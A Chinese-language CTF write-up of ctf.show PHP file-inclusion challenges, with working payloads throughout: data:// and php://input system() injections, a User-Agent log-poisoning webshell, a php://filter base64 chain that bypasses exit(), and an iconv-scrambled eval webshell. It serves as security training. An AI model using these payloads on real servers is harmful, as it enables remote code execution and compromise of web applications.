web78题
传入file 值 ,然后include 包含传入的file
发现打不开 ,靠 ,可能是过滤了,但是是能读/etc/passwd
使用php://filter 伪协议读取 flag
还有一种 data协议读取执行命令读取flag
data://text/plain,<?php system('ls');?>
data://text/plain,<?php system('cat flag.???');?>
cat flag
web79 题 data命令执行 Php://input 命令执行
过滤了php 然后替换为 ???
使用data ,base编码来命令执行
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== //<?php system('ls'); 不需要加后面?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
也可以直接使用 data://text/plain,
读取flag的时候 是使用linux 命令 他反而把php替换为??? 也是可以读取flag的 ,
data://text/plain,<=system('cat flag.php');
<?php ?> :php默认的开始、结束标签 <? ?> :需要开启short_open_tag ,即short_open_tag = On。
<%%> :需要开启asp_tags ,即asp_tags = On。
<?= ?> :用于输出,等同于- 可以直接使用 <%= %> :用于输出,等同于- ,
需要开启asp_tags ,才可以使用 short_open_tag控制的是<? ?>标签。
而并非<?= ?>标签,<?= ?>标签用于输出变量。
当开启short_open_tag,<? ?> 功能和<?php ?> 一样。 php中代码开始标志类型(,,,<% %>,<%= %>)
F12 直接查看flag
Php:input 命令执行
这里过滤了php 只是匹配到替换 ,但是没有识别大小写
POST /?file=Php://input HTTP/1.1
<?Php system("cat flag.php");?>
POST /?file=Php://input HTTP/1.1
Host: 3135e7ab-e862-4755-a937-c4959f02acec.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 31
<?Php system("cat flag.php");?>
web80题
过滤了data
使用Php://input
web81 题
文件包含写日志
user-agetn 可以写一句话
然后去连接
http://1ceb12db-057f-4c42-81aa-faca3d301d6e.challenge.ctf.show/?file=/var/log/nginx/access.log
密码1
web87 题 file_put_contents 死亡绕过 exit
将content参数的值写入到urldecode的file参数所定义的文件里,但是一同写入的还有die,导致即使我们成功写入一句话,也执行不了,所以我们要想法绕过die,去执行我们所写入的一句话,
file 这里使用php://filter 去写入 文件 ,使用解码功能
php://filter/wiret=convert.base64-decode/resource=1.php
然后进行双重url编码
这个URl encode 点两次
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
然后connet的值是要base64 编码的
然后去访问1.php 成功解析
web 88 题 没有过滤 ; ,
data 协议
data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg
但是这里过滤了 = 号
直接去掉 = 号
web116 题
打开是视频文件 ,下载下来然后分离 出现 代码审计
直接 file = flag.php 出现flag
web117 题
和87 题差不多 ,但是这里过滤base64 rot13 那想着使用其他的加密
?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php
POST:
contents=?<hp pvela$(G_TE'['a)] ;>?
contents=?<hp pvela$(P_SO[T]1;)>?
shell 直接连接